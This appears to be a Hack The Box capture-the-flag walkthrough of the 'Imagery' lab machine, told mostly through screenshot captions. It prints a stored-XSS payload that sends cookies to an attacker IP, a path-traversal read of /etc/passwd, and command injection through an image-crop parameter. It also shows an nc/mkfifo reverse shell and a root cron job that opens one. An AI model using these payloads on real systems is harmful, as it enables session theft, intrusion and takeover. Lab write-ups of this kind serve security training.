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Hack The Box: Imagery Machine Walkthrough – Medium Difficulity
Introduction to Imagery:
In this write-up, we will explore the “Imagery” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Imagery” machine from Hack The Box by achieving the following objectives:
User Flag:
After gaining an initial foothold through weaknesses in the web application, access is gradually expanded beyond a standard user account. By leveraging exposed application data and mismanaged credentials, lateral movement becomes possible within the system. This progression ultimately leads to access to a regular system user account, where the user flag can be retrieved, marking the successful completion of the first objective.
Root Flag:
With user-level access established, further analysis reveals misconfigured privileges and trusted system utilities that can be abused. By carefully interacting with these elevated permissions and understanding how system-level automation is handled, full administrative control of the machine is achieved. This final escalation allows access to the root account and the retrieval of the root flag, completing the machine compromise.
Enumerating the Imagery Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oA initial 10.129.3.10Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/imagery]
└──╼ $nmap -sC -sV -oA initial 10.129.3.10
# Nmap 7.94SVN scan initiated Fri Jan 23 23:04:24 2026 as: nmap -sC -sV -oA initial 10.129.3.10
Nmap scan report for 10.129.3.10
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http-alt Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/3.1.3 Python/3.12.7
| Date: Sat, 24 Jan 2026 00:25:22 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.1.3 Python/3.12.7
| Date: Sat, 24 Jan 2026 00:25:15 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 146960
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Image Gallery</title>
| <script src="static/tailwind.js"></script>
| <link rel="stylesheet" href="static/fonts.css">
| <script src="static/purify.min.js"></script>
| <style>
| body {
| font-family: 'Inter', sans-serif;
| margin: 0;
| padding: 0;
| box-sizing: border-box;
| display: flex;
| flex-direction: column;
| min-height: 100vh;
| position: fixed;
| top: 0;
| width: 100%;
| z-index: 50;
|_ #app-con
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7Analysis:
- Port 22 (SSH): SSH is available for remote access and may be used later if valid credentials are obtained.
- Port 8000 (HTTP): A Python-based web application is exposed on port 8000 and represents the primary attack surface for further enumeration.
Web Enumeration:
Web Application Exploration:
Features the app’s slogan “Capture & Cherish Every Moment” in large white text, followed by a description: “Your personal online gallery, designed for simplicity and beauty. Upload, organise, and relive your memories with ease.” Below that, a white section titled “Powerful Features at Your Fingertips” with three icons (a landscape image frame, a padlock for security, and a rocket for speed/performance). The navigation bar at the top includes “Home,” “Login,” and “Register.”
Application Overview
Centred white form on blue background titled “Register”. Fields: “Email ID” (placeholder: “Enter your email ID”) and “Password” (placeholder: “Enter your password” with eye icon for visibility). Blue “Register” button. ja
Fields pre-filled: “Email ID” as “dark@imagery.htb” and masked “Password”. Blue “Register” button.
Similar to register, titled “Login”. Fields pre-filled: “Email ID” as “dark@imagery.htb” and masked “Password”. Blue “Login” button, plus “Don’t have an account? Register here” link. Top nav: “Home”, “Login”, “Register”.
White background with title “Your Image Gallery”. A card message: “No images uploaded yet. Go to the ‘Upload’ page to add some!” Logged-in nav: “Home”, “Gallery”, “Upload”, “Logout” (red button).
Client-side JavaScript source code fetching and displaying admin bug reports from /admin/bug_reports with error handling and UI rendering logic.
JavaScript function handleDownloadUserLog redirects to /admin/get_system_log with a crafted log_identifier parameter based on username.
404 Not Found response when accessing the root /admin endpoint directly.
JSON access denied response (“Administrator privileges required”) when trying to access /admin/users as a non-admin user.
405 Method Not Allowed error on GET request to /report_bug, indicating the endpoint exists but requires a different HTTP method (likely POST).
App footer section showing copyright “© 2026 Imagery”, Quick Links (Home, Gallery, Upload, Report Bug), social media links, and contact info (support@imagery.com, fictional address).
Stored Cross-Site Scripting in Bug Reporting Feature on Imagery Machine
“Report a Bug” form pre-filled with “bugName”: “dark” and the same XSS cookie-stealing payload in Bug Details, ready for submission.
Terminal session as user “dark@parrot” running a local HTTP server (sudo python3 -m http.server 80) in the ~/Documents/htb/imagery directory to serve files/listen for requests on port 80.
Burp Suite capture of a successful POST to /report_bug, submitting JSON with “bugName”: “dark” and XSS payload in “bugDetails” (<img src=x onerror=”document.location=’http://10.10.14.133:80/?cookie=’+document.cookie”>), response confirms submission with admin review message.
The response of successful POST to /report_bug, submitting an XSS payload in bugDetails to exfiltrate cookies via redirect to the attacker’s server.
Burp Suite capture of GET request to /auth_status returning JSON with logged-in user details (username “dark@imagery.htb“, isAdmin false).
Local Python HTTP server log showing incoming request from target (10.129.3.10) with stolen admin session cookie in query parameter, plus 404 for favicon.
Burp Suite capture of GET to /admin/ endpoint returning standard 404 Not Found HTML error page.
Successful GET to /admin/users with stolen admin cookie returning JSON user list (admin with isAdmin:true, testuser with isAdmin:false).
JavaScript source snippet of handleDownloadUserLog function redirecting to /admin/get_system_log with the encoded log_identifier parameter.
Local File Inclusion Leading to Credential Disclosure
Failed LFI attempt on non-existent path returning 500 Internal Server Error with “Error reading file: 404 Not Found”.
Successful LFI exploitation via /admin/get_system_log retrieving /etc/passwd contents through path traversal payload “../../../../../../etc/passwd”.
Admin Panel interface (accessed with hijacked session) showing User Management with admin and testuser entries, plus empty Submitted Bug Reports section.
LFI retrieval of /proc/self/environ exposes environment variables (LANG, PATH, WEBHOME, WEBSHELL, etc.).
Retrieved db.json file contents via /admin/get_system_log path traversal, exposing user records with MD5-hashed passwords for admin and testuser, alongside an empty bug_reports array.
LFI retrieval of config.py source code exposing app constants like DATA_STORE_PATH=’db.json’, upload folders, and allowed extensions.
CrackStation online tool cracking the MD5 hash “2c65c8d7bfbca32a3ed42596192384f6” to plaintext “iambatman”.
Terminal output of failed SSH attempt as testuser@10.129.3.10 with publickey authentication denied.
Authenticating to the Imagery Application Using TestUser’s Credentials
Login page with Email ID pre-filled as “testuser@imagery.htb” and masked password field.
Empty Gallery page for logged-in user stating “No images uploaded yet. Go to the ‘Upload’ page to add some!”
Upload New Image form with “lips.png” selected (max 1MB, allowed formats listed), optional title/description, group “My Images”, uploading as Account ID e5f6g7h8.
Achieving Shell Access via Remote Code Execution
Gallery view showing single uploaded image “lips” (red lips icon) with open context menu offering Edit Details, Convert Format, Transform Image, Delete Metadata, Download, and Delete.
Visual Image Transformation modal in crop mode with selectable box over the red lips image, parameters set to x:0 y:0 width:193 height:172.
Successful Burp POST to /apply_visual_transform with valid crop params returning new transformed image URL in /uploads/admin/transformed/.
Burp capture of POST to /apply_visual_transform with invalid crop “x”:”id” parameter resulting in 500 error (“invalid argument for option ‘-crop'”).
Burp capture of POST to /apply_visual_transform injecting “cat /etc/passwd” via crop “x” parameter, resulting in 500 error exposing command output snippet.
Attacker terminal running netcat listener on port 9007 (nc -lvnp 9007).
Burp capture of POST to /apply_visual_transform with reverse shell payload in crop “x” parameter (“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.133 9007 >/tmp/f”).
Successful reverse shell connection from target (10.129.3.10) to attacker listener on port 9007, landing as web@Imagery.
Detailed directory listing of /web (app root) revealing source files (api_*.py, app.py, config.py, db.json, utils.py) and directories (bot, env, static, system_logs, templates, uploads).
Directory listing of /web/bot showing admin.py file owned by web user.
Source code of admin.py revealing Selenium automation bot with hardcoded admin credentials (“admin@imagery.htb“:”strongsandofbeach”), bypass token, and Chrome binary path.
Backup and Archive Discovery
Detailed directory listing of /var showing system directories (backup, backups, cache, crash, lib, local, log, mail, opt, run, snap, spool, tmp).
Directory listing of /var/backup showing an encrypted backup file web_20250806_120723.zip.aes.
Directory listing of /var/backups showing multiple compressed APT/dpkg state archives (.gz files).
Target starting Python HTTP server on port 9007 to serve the encrypted backup file.
Wget successfully downloading the encrypted backup file web_20250806_120723.zip.aes (22MB) from the target’s HTTP server on port 9007.
File command confirming web_20250806_120723.zip.aes is AES-encrypted data created by pyAesCrypt 6.1.1.
Attempt to run dpyAesCrypt.py failing with ModuleNotFoundError for ‘pyAesCrypt’ (case-sensitive import issue).
Successful pip3 user installation of pyaescrypt-6.1.1 package.
Failed execution of dpyAesCrypt.py due to ModuleNotFoundError for ‘termcolor’ (missing import dependency).
Successful pip3 user installation of termcolor-3.3.0 package.
Custom pyAesCrypt brute-forcer discovering password “bestfriends” early in the wordlist.
Successful decryption of the AES backup using “bestfriends”, outputting the original web_20250806_120723.zip.
The cunzip extracting the decrypted backup archive, revealing full app source (api_*.py, app.py, config.py, db.json, utils.py), templates, system_logs, env, and compiled pycache files.
cat of decrypted db.json revealing user database with admin (hashed password), testuser (“iambatman”), and mark (another hashed password).
CrackStation results cracking MD5 hashes to “iambatman”, “supersmash”, and “spiderweb1234” (one unknown).
Successful su to mark using password “supersmash”, confirming uid/gid 1002.
Python one-liner (python3 -c ‘import pty;pty.spawn(“/bin/bash”)’) to spawn an interactive bash shell.
ls -al in /home/mark showing files including user.txt (likely containing the flag).
We can read the user flag by typing the “cat user.txt” command
Escalate to Root Privileges Access to Imagery Machine
Privilege Escalation:
sudo -l reveals that user mark can run /usr/local/bin/charcol as root without a password (NOPASSWD).
charcol help output describing the CLI tool for encrypted backups, with commands (shell, help) and options (-quiet, -R for reset).
Failed charcol shell passphrase attempts (“bestfriend”, “supermash”, “supersmash”) resulting in lockout after multiple errors.
sudo charcol -R resetting application password to default (“no password” mode) after system password verification.
sudo charcol -R resetting application password to default (“no password” mode) after system password verification.
Repeated sudo charcol -R successfully resetting to no password mode.
charcol interactive shell entry after initial setup, displaying ASCII logo and info message.
charcol help output explaining backup/fetch commands and “auto add” for managing automated (root) cron jobs, with security warnings.
Attacker terminal running netcat listener on port 9007 in preparation for reverse shell.
Successful “auto add” command creating a root cron job with reverse shell payload to attacker (10.10.14.133:9007), verified with system password “supersmash”.
Successful privilege escalation to root via a malicious cron job triggered a reverse shell, followed by reading the root flag from /root/root.txt
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